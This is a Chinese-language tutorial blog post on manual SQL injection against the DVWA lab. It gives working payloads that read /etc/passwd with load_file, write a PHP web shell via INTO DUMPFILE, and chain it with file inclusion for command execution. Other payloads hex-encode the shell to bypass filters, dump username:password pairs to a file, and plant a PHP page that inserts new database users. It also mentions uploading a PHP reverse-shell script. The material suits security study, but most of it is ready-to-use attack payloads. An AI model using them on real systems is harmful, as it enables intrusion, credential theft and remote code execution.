zoukankan      html  css  js  c++  java
  • Kali学习笔记40:SQL手工注入(2)

    上一篇讲到可以通过注入得到数据库中所有的表信息

    而SQL注入能不能做数据库之外的事情呢?

      

    读取文件:

    ' union select null,load_file('/etc/passwd') -- 

    为了方便进行测试,后边我使用Burpsuite

    既然可以读取文件了,那么也就可以写文件:比如经典的PHP一句话

    ' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/var/www/a.php" -- 

    结果是无法写入文件,这是什么原因呢?

    我猜测是目录权限的问题

    于是去掉/var/www

    ' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE 'a.php' -- 

    成功,所以得出应该是目录问题

    首先我们看一下上传成功的文件在哪个目录:

    发现在/var/lib/mysql/dvwa下存放

     

    查看后发现属主和属组是Mysql,其他用户无法访问,甚至mysql组其他用户都没有权限

    然后我们以root的身份进入dvwa目录查看a.php

    那么我们就没有办法把这一句话PHP文件写入到指定位置了吗?

    我们可以结合以前提到的文件包含漏洞,写入通用目录/tmp/,最终达到命令执行

    实现:

    写入:注意这里的单双引号

    ' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/tmp/a.php" -- 

    然后利用文件包含漏洞:

    最终成功!

    所以SQL注入写文件,是以mysql用户写入的,所以可以采用中间目录的方法,然后结合其他漏洞完成命令执行

    如果目标系统管理员的权限配置不当,那么只要能够SQL注入,就可以直接拿到shell

    既然可以上传一句话PHP,那么也可以上传反弹连接PHP脚本

    找到Kali自带的PHP反弹连接脚本,重命名为b.php,利用xxd转换为十六进制

    由于服务器通常会过滤<?以及换行符,我们再使用tr去除换行符

    得到一堆16进制,复制出来,替换位置(1)

    ' union select null,(0x(1)) INTO DUMPFILE "/tmp/b.php" -- 

    发送之后,理论上会成功,但是由于URL过长,报错

    可以换一个小木马,甚至就使用刚才的a.php

     '%20union%20select%20null,%20(0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e)%20INTO%20DUMPFILE%20"/tmp/b.php"%20--%20

    进行URL编码后就是上边的结果:注意(0x之前必须加一个空格

    在metasploitable中查到了,实际上就是刚才的a.php内容,但是我们使用十六进制编码绕过了过滤

    验证命令执行:

    成功!

    有时候,数据库的内容太多,我们不可以在一个页面中观看

    所以考虑如何直接把数据库下载下来

     ' union select null,concat(user,0x3a,password) from users INTO OUTFILE "/tmp/a.db" -- 

    查看:

    扩展:一个思路

    我们甚至可以直接给目标开发一个功能:自定义一个表单,输入信息,然后在数据库插入信息

     ' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
    = $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
    $_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
    "first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
    $username<BR>"; echo "avatar: $avatar<BR>";
    $con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
    "Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
    database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\"$userID\",
    "$first_name\",\"$last_name\",\"$username\",MD5(\"$password\"),\"$avatar
    ")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
    creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
    action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
    ><br> <input type="text" name="first_name"><br> <input type="text" name="last_name"><br> <input type="text" name="username"><br> <input type="text" name="avatar"><br> <input type="submit" name="submit" value="Submit Form"><br> </form>' INTO DUMPFILE "/tmp/user.php" --

     然后利用文件包含漏洞,即可利用

    这种方式实际上并没有成功,不过可以作为一个思路

  • 相关阅读:
    [转]scrapy中的request.meta
    Item Pipeline
    scrapy spider官方文档
    scrapy选择器主要用法
    scrapy 选择器官方文档
    【bzoj3514】Codechef MARCH14 GERALD07加强版 LCT+可持久化线段树
    【bzoj3813】奇数国 线段树
    【loj6177】「美团 CodeM 初赛 Round B」送外卖2 Floyd+状压dp
    【bzoj4499】线性函数 线段树
    【bzoj1018】[SHOI2008]堵塞的交通traffic 线段树区间合并+STL-set
  • 原文地址:https://www.cnblogs.com/xuyiqing/p/10361199.html
Copyright © 2011-2022 走看看